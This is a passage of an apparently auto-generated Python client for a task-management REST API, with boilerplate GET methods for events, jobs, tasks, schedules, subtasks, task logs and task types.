keyword argument '%s'" " to method get_event" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_event`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/events/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Event', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_finished_tasks(self, **kwargs): # noqa: E501 """get_finished_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_finished_tasks(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TaskInfo] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_finished_tasks_with_http_info(**kwargs) # noqa: E501 def get_finished_tasks_with_http_info(self, **kwargs): # noqa: E501 """get_finished_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_finished_tasks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TaskInfo], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job_instance', 'job_instance__in', 'subtask', 'state', 'state__in', 'id', 'id__in', 'name', 'task_name', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_finished_tasks" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'job_instance' in local_var_params and local_var_params['job_instance'] is not None: # noqa: E501 query_params.append(('job_instance', local_var_params['job_instance'])) # noqa: E501 if 'job_instance__in' in local_var_params and local_var_params['job_instance__in'] is not None: # noqa: E501 query_params.append(('job_instance__in', local_var_params['job_instance__in'])) # noqa: E501 if 'subtask' in local_var_params and local_var_params['subtask'] is not None: # noqa: E501 query_params.append(('subtask', local_var_params['subtask'])) # noqa: E501 if 'state' in local_var_params and local_var_params['state'] is not None: # noqa: E501 query_params.append(('state', local_var_params['state'])) # noqa: E501 if 'state__in' in local_var_params and local_var_params['state__in'] is not None: # noqa: E501 query_params.append(('state__in', local_var_params['state__in'])) # noqa: E501 if 'id' in local_var_params and local_var_params['id'] is not None: # noqa: E501 query_params.append(('id', local_var_params['id'])) # noqa: E501 if 'id__in' in local_var_params and local_var_params['id__in'] is not None: # noqa: E501 query_params.append(('id__in', local_var_params['id__in'])) # noqa: E501 if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501 query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'task_name' in local_var_params and local_var_params['task_name'] is not None: # noqa: E501 query_params.append(('task_name', local_var_params['task_name'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/finished', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TaskInfo]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_job(self, id, **kwargs): # noqa: E501 """get_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_job(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Job If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_job_with_http_info(id, **kwargs) # noqa: E501 def get_job_with_http_info(self, id, **kwargs): # noqa: E501 """get_job # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_job_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this job. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Job, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_job" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_job`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/jobs/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Job', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_pending_tasks(self, **kwargs): # noqa: E501 """get_pending_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_pending_tasks(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[TaskInfo] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_pending_tasks_with_http_info(**kwargs) # noqa: E501 def get_pending_tasks_with_http_info(self, **kwargs): # noqa: E501 """get_pending_tasks # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_pending_tasks_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str job_instance: Filter the returned list by `job_instance`. :param str job_instance__in: Multiple values may be separated by commas. :param str subtask: Filter the returned list by `subtask`. :param str state: Filter the returned list by `state`. :param float state__in: Multiple values may be separated by commas. :param str id: Filter the returned list by `id`. :param str id__in: Multiple values may be separated by commas. :param str name: Filter the returned list by `name`. :param str task_name: Filter the returned list by `task_name`. :param str ordering: Which field to use when ordering the results. :param int limit: Number of results to return per page. :param int offset: The initial index from which to return the results. :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[TaskInfo], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['job_instance', 'job_instance__in', 'subtask', 'state', 'state__in', 'id', 'id__in', 'name', 'task_name', 'ordering', 'limit', 'offset'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_pending_tasks" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] if 'job_instance' in local_var_params and local_var_params['job_instance'] is not None: # noqa: E501 query_params.append(('job_instance', local_var_params['job_instance'])) # noqa: E501 if 'job_instance__in' in local_var_params and local_var_params['job_instance__in'] is not None: # noqa: E501 query_params.append(('job_instance__in', local_var_params['job_instance__in'])) # noqa: E501 if 'subtask' in local_var_params and local_var_params['subtask'] is not None: # noqa: E501 query_params.append(('subtask', local_var_params['subtask'])) # noqa: E501 if 'state' in local_var_params and local_var_params['state'] is not None: # noqa: E501 query_params.append(('state', local_var_params['state'])) # noqa: E501 if 'state__in' in local_var_params and local_var_params['state__in'] is not None: # noqa: E501 query_params.append(('state__in', local_var_params['state__in'])) # noqa: E501 if 'id' in local_var_params and local_var_params['id'] is not None: # noqa: E501 query_params.append(('id', local_var_params['id'])) # noqa: E501 if 'id__in' in local_var_params and local_var_params['id__in'] is not None: # noqa: E501 query_params.append(('id__in', local_var_params['id__in'])) # noqa: E501 if 'name' in local_var_params and local_var_params['name'] is not None: # noqa: E501 query_params.append(('name', local_var_params['name'])) # noqa: E501 if 'task_name' in local_var_params and local_var_params['task_name'] is not None: # noqa: E501 query_params.append(('task_name', local_var_params['task_name'])) # noqa: E501 if 'ordering' in local_var_params and local_var_params['ordering'] is not None: # noqa: E501 query_params.append(('ordering', local_var_params['ordering'])) # noqa: E501 if 'limit' in local_var_params and local_var_params['limit'] is not None: # noqa: E501 query_params.append(('limit', local_var_params['limit'])) # noqa: E501 if 'offset' in local_var_params and local_var_params['offset'] is not None: # noqa: E501 query_params.append(('offset', local_var_params['offset'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/pending', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TaskInfo]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_python_environments(self, **kwargs): # noqa: E501 """get_python_environments # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_python_environments(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[PythonEnvironment] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_python_environments_with_http_info(**kwargs) # noqa: E501 def get_python_environments_with_http_info(self, **kwargs): # noqa: E501 """get_python_environments # noqa: E501 ### Required permissions * User account permission: `tasks:manage` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_python_environments_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[PythonEnvironment], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_python_environments" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/python/environments', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[PythonEnvironment]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_schedule(self, id, **kwargs): # noqa: E501 """get_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_schedule(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Schedule If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_schedule_with_http_info(id, **kwargs) # noqa: E501 def get_schedule_with_http_info(self, id, **kwargs): # noqa: E501 """get_schedule # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_schedule_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this schedule. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Schedule, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_schedule" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_schedule`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/schedules/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Schedule', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_subtask(self, id, **kwargs): # noqa: E501 """get_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_subtask(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: Subtask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_subtask_with_http_info(id, **kwargs) # noqa: E501 def get_subtask_with_http_info(self, id, **kwargs): # noqa: E501 """get_subtask # noqa: E501 ### Required permissions * User account permission: `tasks:view` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_subtask_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param int id: A unique integer value identifying this subtask. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(Subtask, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_subtask" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_subtask`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/subtasks/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Subtask', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_task(self, id, **kwargs): # noqa: E501 """get_task # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_task(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TaskInfo If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_task_with_http_info(id, **kwargs) # noqa: E501 def get_task_with_http_info(self, id, **kwargs): # noqa: E501 """get_task # noqa: E501 ### Required permissions * User account permission: `None` (read) / `tasks:manage` (write) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_task_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TaskInfo, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_task" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_task`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskInfo', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_task_log(self, id, **kwargs): # noqa: E501 """get_task_log # noqa: E501 ### Required permissions * User account permission: `tasks:view` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_task_log(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TaskLog If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_task_log_with_http_info(id, **kwargs) # noqa: E501 def get_task_log_with_http_info(self, id, **kwargs): # noqa: E501 """get_task_log # noqa: E501 ### Required permissions * User account permission: `tasks:view` # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_task_log_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str id: A unique value identifying this task info. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TaskLog, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_task_log" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501 local_var_params['id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `id` when calling `get_task_log`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in local_var_params: path_params['id'] = local_var_params['id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/{id}/log', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskLog', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def get_task_type(self, type, **kwargs): # noqa: E501 """get_task_type # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_task_type(type, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str type: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: TaskType If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_task_type_with_http_info(type, **kwargs) # noqa: E501 def get_task_type_with_http_info(self, type, **kwargs): # noqa: E501 """get_task_type # noqa: E501 ### Required permissions * <class 'rest_framework.permissions.AllowAny'> # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_task_type_with_http_info(type, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str type: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(TaskType, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['type'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_task_type" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'type' is set if self.api_client.client_side_validation and ('type' not in local_var_params or # noqa: E501 local_var_params['type'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `type` when calling `get_task_type`") # noqa: E501 if self.api_client.client_side_validation and 'type' in local_var_params and not re.search(r'[^\/]+', local_var_params['type']): # noqa: E501 raise ApiValueError("Invalid value for parameter `type` when calling `get_task_type`, must conform to the pattern `/[^\/]+/`") # noqa: E501 collection_formats = {} path_params = {} if 'type' in local_var_params: path_params['type'] = local_var_params['type'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/api/2/tasks/types/{type}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TaskType', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # 